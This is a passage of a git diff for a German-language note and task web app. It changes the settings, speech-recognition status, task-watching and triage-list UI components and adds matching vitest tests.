className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
|
||||
@@ -1031,19 +1320,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
</div>
|
||||
|
||||
{/* Channel 2: Discord Webhook */}
|
||||
<div
|
||||
className={`p-4 border transition-colors space-y-3 bg-canvas ${
|
||||
alarmChannels.includes('discord') ? 'border-accent' : 'border-border'
|
||||
}`}
|
||||
>
|
||||
<div className="p-4 border border-border transition-colors space-y-3 bg-canvas">
|
||||
<div className="flex items-center justify-between gap-2">
|
||||
<label className="flex items-center gap-2.5 cursor-pointer select-none">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={alarmChannels.includes('discord')}
|
||||
onChange={() => toggleAlarmChannel('discord')}
|
||||
className="w-4 h-4 accent-blue-600"
|
||||
/>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<MessageSquare className="w-4 h-4 text-accent" />
|
||||
<div>
|
||||
<span className="font-bold text-main block">Ziel: Discord Webhook</span>
|
||||
@@ -1052,13 +1331,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
Discord-Kanal.
|
||||
</span>
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('discord')}
|
||||
disabled={testingChannel === 'discord'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'discord'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
|
||||
@@ -1106,8 +1385,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleTestChannel('webhook')}
|
||||
disabled={testingChannel === 'webhook'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
|
||||
disabled={demoMode || testingChannel === 'webhook'}
|
||||
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
|
||||
>
|
||||
<Send className="w-3 h-3 text-accent" />
|
||||
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
|
||||
@@ -1167,8 +1446,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<div>
|
||||
<h3 className="font-bold text-main">Vollständiges Backup (.zip)</h3>
|
||||
<p className="text-muted text-[11px]">
|
||||
Alle deine Gedanken, Aufgaben, Notizen und Listen als JSON, gepackt in eine ZIP-Datei. Über
|
||||
„MindSift-Daten importieren“ lässt es sich vollständig zurückspielen.
|
||||
Alle deine Gedanken, Aufgaben, Notizen und Listen als JSON, mit den Bildern und Sprachnotizen deiner
|
||||
Notizen, gepackt in eine ZIP-Datei. Über „MindSift-Daten importieren“ lässt es sich vollständig zurückspielen.
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
@@ -1188,8 +1467,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<p className="text-muted text-[11px]">
|
||||
Alle Notizen als <code className="font-mono">.md</code>-Dateien in deiner Ordnerstruktur (mit Titel, Tags und
|
||||
Datum im Kopf), Aufgaben je Liste unter <code className="font-mono">Aufgaben/</code> im Format des
|
||||
Obsidian-Tasks-Plugins, Listen unter <code className="font-mono">Listen/</code>. Mit dir geteilte Notizen sind
|
||||
dabei.
|
||||
Obsidian-Tasks-Plugins, Listen unter <code className="font-mono">Listen/</code>, Bilder und Sprachnotizen unter{' '}
|
||||
<code className="font-mono">attachments/</code>. Mit dir geteilte Notizen sind dabei.
|
||||
</p>
|
||||
{vaultError && <p className="text-[11px] text-status-err mt-1">{vaultError}</p>}
|
||||
</div>
|
||||
@@ -1232,7 +1511,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
|
||||
<>
|
||||
Vault als <code className="font-mono">.zip</code>. Alle Notizen landen in einem eigenen Ordner mit dem Namen
|
||||
des Vaults, Unterordner bleiben erhalten. Checkboxen bleiben Checkboxen in der Notiz, Frontmatter-Tags werden zu
|
||||
#Hashtags. Bilder und andere Anhänge werden übersprungen.
|
||||
#Hashtags. Bilder und Audiodateien, die eine Notiz einbettet (<code className="font-mono">![[bild.png]]</code>{' '}
|
||||
oder <code className="font-mono"></code>), werden übernommen; andere Anhänge wie PDFs nicht.
|
||||
</>
|
||||
}
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { AlertCircle, Check, Loader2, Mic, RefreshCw, Square } from 'lucide-react';
|
||||
import { api } from '../../lib/api';
|
||||
import { VoiceAdminStatus } from '../../lib/types';
|
||||
|
||||
const TEST_SECONDS = 6;
|
||||
|
||||
// Admin: which speech recognition is active. Configured only by environment (STT_*), so this card
|
||||
// just shows the state and offers a short test recording through the own Whisper server.
|
||||
export const VoiceStatusCard: React.FC = () => {
|
||||
const [info, setInfo] = useState<VoiceAdminStatus | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [recording, setRecording] = useState(false);
|
||||
const [testing, setTesting] = useState(false);
|
||||
const [result, setResult] = useState<{ text: string; ms: number } | null>(null);
|
||||
const recorderRef = useRef<MediaRecorder | null>(null);
|
||||
const stopTimerRef = useRef<number | null>(null);
|
||||
|
||||
const load = async () => {
|
||||
setLoading(true);
|
||||
try {
|
||||
setInfo(await api.adminVoiceStatus());
|
||||
setError(null);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Status konnte nicht geladen werden');
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
void load();
|
||||
return () => {
|
||||
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
|
||||
recorderRef.current?.stream.getTracks().forEach((t) => t.stop());
|
||||
};
|
||||
}, []);
|
||||
|
||||
const stopRecording = () => {
|
||||
if (stopTimerRef.current !== null) window.clearTimeout(stopTimerRef.current);
|
||||
stopTimerRef.current = null;
|
||||
if (recorderRef.current?.state === 'recording') recorderRef.current.stop();
|
||||
};
|
||||
|
||||
const startTest = async () => {
|
||||
setResult(null);
|
||||
setError(null);
|
||||
let stream: MediaStream;
|
||||
try {
|
||||
stream = await navigator.mediaDevices.getUserMedia({ audio: true });
|
||||
} catch {
|
||||
setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
|
||||
return;
|
||||
}
|
||||
const recorder = new MediaRecorder(stream);
|
||||
const chunks: Blob[] = [];
|
||||
recorder.ondataavailable = (e) => {
|
||||
if (e.data.size > 0) chunks.push(e.data);
|
||||
};
|
||||
recorder.onstop = async () => {
|
||||
stream.getTracks().forEach((t) => t.stop());
|
||||
setRecording(false);
|
||||
setTesting(true);
|
||||
const started = performance.now();
|
||||
try {
|
||||
const text = await api.transcribe(new Blob(chunks, { type: recorder.mimeType }));
|
||||
setResult({ text, ms: Math.round(performance.now() - started) });
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Spracherkennung fehlgeschlagen');
|
||||
} finally {
|
||||
setTesting(false);
|
||||
}
|
||||
};
|
||||
recorderRef.current = recorder;
|
||||
recorder.start();
|
||||
setRecording(true);
|
||||
stopTimerRef.current = window.setTimeout(stopRecording, TEST_SECONDS * 1000);
|
||||
};
|
||||
|
||||
const status = info?.status;
|
||||
const serverOk = info?.mode === 'server' && status?.reachable && status?.modelReady;
|
||||
|
||||
return (
|
||||
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||
<div className="flex items-start justify-between gap-3">
|
||||
<div>
|
||||
<h3 className="font-bold text-main flex items-center gap-1.5">
|
||||
<Mic className="w-4 h-4 text-accent" />
|
||||
Spracherkennung
|
||||
</h3>
|
||||
<p className="text-muted mt-0.5">
|
||||
Wird nur über Umgebungsvariablen eingestellt (<code className="font-mono">STT_URL</code>,{' '}
|
||||
<code className="font-mono">STT_MODEL</code> …); Fehler stehen im Container-Log.
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
onClick={load}
|
||||
disabled={loading}
|
||||
title="Status neu prüfen"
|
||||
className="btn-action h-11 w-11 sm:h-8 sm:w-8 flex items-center justify-center shrink-0 disabled:opacity-40"
|
||||
>
|
||||
<RefreshCw className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{info && (
|
||||
<dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
|
||||
<dt className="text-muted">Aktiv</dt>
|
||||
<dd className="text-main font-semibold">
|
||||
{info.mode === 'server'
|
||||
? 'Eigener Server (Whisper)'
|
||||
: info.mode === 'off'
|
||||
? 'Ausgeschaltet'
|
||||
: info.demo && info.url
|
||||
? 'Browser (in der Demo immer)'
|
||||
: 'Browser (Spracherkennung des Browsers)'}
|
||||
</dd>
|
||||
{info.url && (
|
||||
<>
|
||||
<dt className="text-muted">Server</dt>
|
||||
<dd className="text-main font-mono break-all">{info.url}</dd>
|
||||
<dt className="text-muted">Modell</dt>
|
||||
<dd className="text-main font-mono break-all">{info.model}</dd>
|
||||
<dt className="text-muted">Sprache</dt>
|
||||
<dd className="text-main">{info.language || 'automatisch'}</dd>
|
||||
</>
|
||||
)}
|
||||
{info.mode === 'server' && (
|
||||
<>
|
||||
<dt className="text-muted">Zustand</dt>
|
||||
<dd className="flex items-center gap-1.5">
|
||||
{serverOk ? (
|
||||
<span className="text-status-ok flex items-center gap-1">
|
||||
<Check className="w-3.5 h-3.5" /> Erreichbar, Modell geladen
|
||||
</span>
|
||||
) : (
|
||||
<span className="text-status-err flex items-center gap-1">
|
||||
<AlertCircle className="w-3.5 h-3.5" />
|
||||
{status?.reachable ? 'Modell fehlt noch (wird heruntergeladen)' : 'Nicht erreichbar'}
|
||||
{status?.error && !status.reachable ? `: ${status.error}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</dd>
|
||||
<dt className="text-muted">Grenzen</dt>
|
||||
<dd className="text-main">
|
||||
{Math.round(info.maxSeconds / 60)} Min. bzw. {info.maxUploadMb} MB pro Aufnahme, {info.maxParallel}{' '}
|
||||
gleichzeitig, {info.perUserPerHour} pro Person und Stunde, {info.timeoutSeconds} s Zeitlimit
|
||||
</dd>
|
||||
</>
|
||||
)}
|
||||
</dl>
|
||||
)}
|
||||
|
||||
{info?.mode === 'server' && (
|
||||
<div className="pt-2 border-t border-border flex flex-col sm:flex-row sm:items-center gap-2">
|
||||
{recording ? (
|
||||
<button
|
||||
type="button"
|
||||
onClick={stopRecording}
|
||||
className="btn-danger h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
|
||||
>
|
||||
<Square className="w-3.5 h-3.5" /> Aufnahme beenden
|
||||
</button>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
onClick={startTest}
|
||||
disabled={testing}
|
||||
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
|
||||
>
|
||||
{testing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Mic className="w-3.5 h-3.5" />}
|
||||
{testing ? 'Wird erkannt…' : `Testaufnahme (${TEST_SECONDS} s)`}
|
||||
</button>
|
||||
)}
|
||||
{recording && <span className="text-muted">Sprich jetzt …</span>}
|
||||
{result && (
|
||||
<span className="text-main">
|
||||
„{result.text || '(nichts erkannt)'}“ <span className="text-faint">· {(result.ms / 1000).toFixed(1)} s</span>
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{error && <p className="text-status-err text-xs">{error}</p>}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,106 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import { UserSettingsView } from '../UserSettingsView';
|
||||
import { api } from '../../../lib/api';
|
||||
import { User } from '../../../lib/types';
|
||||
|
||||
vi.mock('../../../lib/api', async () => {
|
||||
const actual = await vi.importActual<typeof import('../../../lib/api')>('../../../lib/api');
|
||||
return {
|
||||
...actual,
|
||||
api: {
|
||||
...actual.api,
|
||||
getMe: vi.fn(async () => ({ isLastAdmin: false })),
|
||||
getAuthStatus: vi.fn(async () => ({ demoMode: false })),
|
||||
updateSettings: vi.fn(async (patch) => ({ ...baseUser, ...patch })),
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const baseUser: User = {
|
||||
id: 'u1',
|
||||
email: 'anna@example.com',
|
||||
displayName: 'Anna',
|
||||
role: 'member',
|
||||
isActive: true,
|
||||
alarmChannels: ['email'],
|
||||
createdAt: '2026-10-30T00:00:00Z',
|
||||
};
|
||||
|
||||
describe('UserSettingsView notification matrix', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('derives events.due from alarmChannels, disables Discord without webhook, and saves the exact notificationSettings object', async () => {
|
||||
const onUserUpdated = vi.fn();
|
||||
render(
|
||||
<UserSettingsView
|
||||
currentUser={baseUser}
|
||||
activeTheme="dark"
|
||||
themes={[]}
|
||||
customThemes={[]}
|
||||
onThemeChange={() => {}}
|
||||
onCustomThemesChange={() => {}}
|
||||
onUserUpdated={onUserUpdated}
|
||||
onBack={() => {}}
|
||||
/>
|
||||
);
|
||||
|
||||
// Open "Alarme" section
|
||||
fireEvent.click(screen.getByText('Alarme'));
|
||||
|
||||
// Without Discord webhook, Discord switches are disabled and hint is visible
|
||||
const discordSwitches = screen.getAllByTitle('Bitte zuerst unten eine Discord Webhook URL eintragen');
|
||||
expect(discordSwitches.length).toBe(5);
|
||||
expect((discordSwitches[0] as HTMLButtonElement).disabled).toBe(true);
|
||||
expect(screen.getByText(/Discord-Schalter sind deaktiviert/)).toBeTruthy();
|
||||
|
||||
// Enter a Discord Webhook URL to enable the Discord column
|
||||
fireEvent.change(screen.getByPlaceholderText(/https:\/\/discord\.com\/api\/webhooks/), {
|
||||
target: { value: 'https://discord.com/api/webhooks/123/abc' },
|
||||
});
|
||||
|
||||
// Derive check: alarmChannels=['email'] -> due.email=true, due.discord=false
|
||||
expect(screen.getByTitle('Fällige Aufgaben (sofort) – E-Mail').getAttribute('aria-checked')).toBe('true');
|
||||
expect(screen.getByTitle('Fällige Aufgaben (sofort) – Discord').getAttribute('aria-checked')).toBe('false');
|
||||
|
||||
// Toggle settings in the matrix, daily summary, and global switches
|
||||
fireEvent.click(screen.getByTitle('Fällige Aufgaben (sofort) – Discord'));
|
||||
fireEvent.click(screen.getByTitle('Geteilte Aufgabe erledigt – E-Mail'));
|
||||
fireEvent.click(screen.getByTitle('Beobachtete Aufgaben – Discord'));
|
||||
fireEvent.click(screen.getByTitle('Alle Benachrichtigungen pausieren'));
|
||||
fireEvent.click(screen.getByTitle('Auch eigene Änderungen an beobachteten Aufgaben melden'));
|
||||
fireEvent.click(screen.getByTitle('Tageszusammenfassung'));
|
||||
fireEvent.change(screen.getByLabelText('Uhrzeit der Tageszusammenfassung'), {
|
||||
target: { value: '08:30' },
|
||||
});
|
||||
fireEvent.click(screen.getByTitle('Tageszusammenfassung – Discord'));
|
||||
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Alarm-Einstellungen speichern' }));
|
||||
|
||||
await waitFor(() => expect(api.updateSettings).toHaveBeenCalledTimes(1));
|
||||
expect(api.updateSettings).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
discordWebhookUrl: 'https://discord.com/api/webhooks/123/abc',
|
||||
notificationSettings: {
|
||||
paused: true,
|
||||
includeOwnWatched: true,
|
||||
events: {
|
||||
due: { email: true, discord: true },
|
||||
shared: { email: true, discord: false },
|
||||
taskDone: { email: true, discord: false },
|
||||
watched: { email: true, discord: false },
|
||||
},
|
||||
dailySummary: {
|
||||
enabled: true,
|
||||
time: '08:30',
|
||||
email: true,
|
||||
discord: true,
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,24 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { describeDevice } from '../SessionsPanel';
|
||||
|
||||
describe('describeDevice', () => {
|
||||
it('names browser and system', () => {
|
||||
expect(
|
||||
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
|
||||
).toEqual({ label: 'Firefox auf Linux', mobile: false });
|
||||
expect(
|
||||
describeDevice(
|
||||
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
|
||||
)
|
||||
).toEqual({ label: 'Safari auf iOS', mobile: true });
|
||||
expect(
|
||||
describeDevice(
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
|
||||
).label
|
||||
).toBe('Edge auf Windows');
|
||||
});
|
||||
|
||||
it('falls back for empty agents', () => {
|
||||
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
|
||||
});
|
||||
});
|
||||
@@ -15,11 +15,13 @@ import {
|
||||
Lock,
|
||||
UserPlus,
|
||||
Repeat,
|
||||
Eye,
|
||||
EyeOff,
|
||||
} from 'lucide-react';
|
||||
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
|
||||
import { UserAvatar } from '../../components/UserAvatar';
|
||||
import { UserAutocomplete } from '../UserAutocomplete';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
import { api, triggerHaptic } from '../../lib/api';
|
||||
import { MarkdownViewer } from '../../lib/markdown';
|
||||
import { addDays, joinDue, splitDue } from '../../lib/due';
|
||||
|
||||
@@ -90,13 +92,32 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
|
||||
|
||||
const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
|
||||
const [newTagDraft, setNewTagDraft] = useState('');
|
||||
const [isWatching, setIsWatching] = useState<boolean>(Boolean(task.isWatching));
|
||||
const [watchBusy, setWatchBusy] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
setTitleDraft(task.content);
|
||||
setNotesDraft(task.notes || '');
|
||||
setIsEditingTitle(false);
|
||||
setIsEditingNotes(false);
|
||||
}, [task.id]);
|
||||
setIsWatching(Boolean(task.isWatching));
|
||||
}, [task.id, task.isWatching]);
|
||||
|
||||
const handleToggleWatch = async () => {
|
||||
if (watchBusy) return;
|
||||
setWatchBusy(true);
|
||||
try {
|
||||
const res = isWatching ? await api.unwatchTask(task.id) : await api.watchTask(task.id);
|
||||
const next = Boolean(res.watching);
|
||||
setIsWatching(next);
|
||||
task.isWatching = next;
|
||||
triggerHaptic(10);
|
||||
} catch {
|
||||
// ignore
|
||||
} finally {
|
||||
setWatchBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
// Handle escape key to close
|
||||
useEffect(() => {
|
||||
@@ -226,6 +247,27 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-1.5">
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleToggleWatch}
|
||||
disabled={watchBusy}
|
||||
title={isWatching ? 'Nicht mehr beobachten' : 'Beobachten'}
|
||||
className={`btn-action min-h-[44px] sm:min-h-0 h-11 sm:h-7 px-2.5 sm:px-2 text-xs flex items-center gap-1.5 ${
|
||||
isWatching ? 'border-accent text-accent' : ''
|
||||
}`}
|
||||
>
|
||||
{isWatching ? (
|
||||
<>
|
||||
<EyeOff className="w-4 h-4 sm:w-3.5 sm:h-3.5 text-accent" />
|
||||
<span>Nicht mehr beobachten</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Eye className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
|
||||
<span>Beobachten</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
{(task.convertedType === 'document_block' || task.docId) ? (
|
||||
<button
|
||||
type="button"
|
||||
|
||||
@@ -221,6 +221,9 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
onDeckChange,
|
||||
onFocusCapture,
|
||||
}) => {
|
||||
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
|
||||
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
|
||||
|
||||
const [cards, setCards] = useState<Thought[]>(deck);
|
||||
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
|
||||
const [showDateModal, setShowDateModal] = useState(false);
|
||||
@@ -702,8 +705,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
Quick Dump direkt einer Liste zuordnen:
|
||||
</p>
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{lists.length > 0 ? (
|
||||
lists.map((lst) => (
|
||||
{writableLists.length > 0 ? (
|
||||
writableLists.map((lst) => (
|
||||
<button
|
||||
key={lst.id}
|
||||
onClick={() =>
|
||||
@@ -746,17 +749,35 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
</button>
|
||||
|
||||
<button
|
||||
disabled={writableLists.length === 0}
|
||||
onClick={() => {
|
||||
if (singleWritableList) {
|
||||
handleAction('keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: singleWritableList.id,
|
||||
});
|
||||
return;
|
||||
}
|
||||
setShowDateModal(false);
|
||||
setShowListSelector((prev) => !prev);
|
||||
}}
|
||||
title="Auf eine geteilte Liste setzen"
|
||||
title={
|
||||
writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? `Auf ${singleWritableList.title}`
|
||||
: 'Auf eine geteilte Liste setzen'
|
||||
}
|
||||
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
|
||||
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
|
||||
writableLists.length === 0
|
||||
? 'opacity-40 cursor-not-allowed'
|
||||
: showListSelector
|
||||
? 'border-accent text-accent bg-accent-dim'
|
||||
: ''
|
||||
}`}
|
||||
>
|
||||
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
|
||||
<span>Auf Liste</span>
|
||||
<span>{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
|
||||
</button>
|
||||
|
||||
<button
|
||||
@@ -810,7 +831,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
<SwipeableQueueItem
|
||||
key={item.id}
|
||||
item={item}
|
||||
lists={lists}
|
||||
lists={writableLists}
|
||||
onBringToFront={handleBringToFront}
|
||||
onOpenActionSheet={openActionSheetForCard}
|
||||
onAction={handleAction}
|
||||
@@ -854,13 +875,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSheetMode('list')}
|
||||
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
|
||||
disabled={writableLists.length === 0}
|
||||
onClick={() => {
|
||||
if (singleWritableList) {
|
||||
handleAction('keep', {
|
||||
convertTo: 'list_item',
|
||||
targetListId: singleWritableList.id,
|
||||
thoughtOverride: actionSheetCard,
|
||||
});
|
||||
return;
|
||||
}
|
||||
setSheetMode('list');
|
||||
}}
|
||||
title={
|
||||
writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? `Auf ${singleWritableList.title}`
|
||||
: 'Auf Liste setzen'
|
||||
}
|
||||
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
|
||||
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
|
||||
}`}
|
||||
>
|
||||
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
|
||||
<div>
|
||||
<div className="min-w-0">
|
||||
<div className="text-sm font-semibold text-main">Auf Liste</div>
|
||||
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
|
||||
<div className="text-[11px] text-muted truncate">
|
||||
{writableLists.length === 0
|
||||
? 'Keine Liste vorhanden'
|
||||
: singleWritableList
|
||||
? singleWritableList.title
|
||||
: 'Einkauf / Geteilt'}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
@@ -999,8 +1046,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
||||
Auf welche Liste soll dieser Punkt gesetzt werden?
|
||||
</p>
|
||||
<div className="max-h-60 overflow-y-auto space-y-1.5">
|
||||
{lists.length > 0 ? (
|
||||
lists.map((lst) => (
|
||||
{writableLists.length > 0 ? (
|
||||
writableLists.map((lst) => (
|
||||
<button
|
||||
key={lst.id}
|
||||
type="button"
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { describe, it, expect, vi } from 'vitest';
|
||||
import { render, screen, fireEvent } from '@testing-library/react';
|
||||
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import { TaskDetailModal } from '../TaskDetailModal';
|
||||
import { api } from '../../../lib/api';
|
||||
import { Thought } from '../../../lib/types';
|
||||
|
||||
const task: Thought = {
|
||||
@@ -67,4 +68,20 @@ describe('TaskDetailModal', () => {
|
||||
expect(screen.getByText('Aufgabe ansehen')).toBeTruthy();
|
||||
expect((screen.getByLabelText('Fälligkeitsdatum') as HTMLInputElement).closest('fieldset')?.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('toggles watching a task via POST and DELETE /tasks/{id}/watch', async () => {
|
||||
const watchSpy = vi.spyOn(api, 'watchTask').mockResolvedValue({ watching: true });
|
||||
const unwatchSpy = vi.spyOn(api, 'unwatchTask').mockResolvedValue({ watching: false });
|
||||
|
||||
render(<TaskDetailModal {...props({ task: { ...task, isWatching: false } })} />);
|
||||
const btn = screen.getByRole('button', { name: 'Beobachten' });
|
||||
fireEvent.click(btn);
|
||||
|
||||
await waitFor(() => expect(watchSpy).toHaveBeenCalledWith('th_1'));
|
||||
expect(screen.getByRole('button', { name: 'Nicht mehr beobachten' })).toBeTruthy();
|
||||
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Nicht mehr beobachten' }));
|
||||
await waitFor(() => expect(unwatchSpy).toHaveBeenCalledWith('th_1'));
|
||||
expect(screen.getByRole('button', { name: 'Beobachten' })).toBeTruthy();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,163 @@
|
||||
import React from 'react';
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||
import { TriageDeck } from '../TriageDeck';
|
||||
import { api } from '../../../lib/api';
|
||||
import { SharedList, Thought } from '../../../lib/types';
|
||||
|
||||
const sampleDeck: Thought[] = [
|
||||
{
|
||||
id: 'th_1',
|
||||
userId: 'u_1',
|
||||
content: 'Hafermilch und Kaffeebohnen',
|
||||
status: 'inbox',
|
||||
priority: 'normal',
|
||||
source: 'manual',
|
||||
isCompleted: false,
|
||||
tags: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
},
|
||||
];
|
||||
|
||||
const ownList: SharedList = {
|
||||
id: 'lst_own',
|
||||
title: 'Wocheneinkauf',
|
||||
icon: '🛒',
|
||||
listType: 'shopping',
|
||||
isOwner: true,
|
||||
role: 'owner',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
const secondEditableList: SharedList = {
|
||||
id: 'lst_edit',
|
||||
title: 'Baumarkt',
|
||||
icon: '🔨',
|
||||
listType: 'checklist',
|
||||
isOwner: false,
|
||||
role: 'editor',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
const viewerList: SharedList = {
|
||||
id: 'lst_view',
|
||||
title: 'WG-Archiv',
|
||||
icon: '📋',
|
||||
listType: 'checklist',
|
||||
isOwner: false,
|
||||
role: 'viewer',
|
||||
items: [],
|
||||
createdAt: '2026-10-29T10:00:00Z',
|
||||
updatedAt: '2026-10-29T10:00:00Z',
|
||||
};
|
||||
|
||||
describe('TriageDeck single-list shortcut', () => {
|
||||
beforeEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
|
||||
});
|
||||
|
||||
it('directly assigns to the single own list without opening the selector', async () => {
|
||||
const onDeckChange = vi.fn();
|
||||
|
||||
render(
|
||||
<TriageDeck
|
||||
deck={sampleDeck}
|
||||
lists={[ownList]}
|
||||
onDeckChange={onDeckChange}
|
||||
onOpenDocument={vi.fn()}
|
||||
onFocusCapture={vi.fn()}
|
||||
/>
|
||||
);
|
||||
|
||||
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
|
||||
expect((btn as HTMLButtonElement).disabled).toBe(false);
|
||||
|
||||
fireEvent.click(btn);
|
||||
|
||||
await waitFor(() => {
|
||||
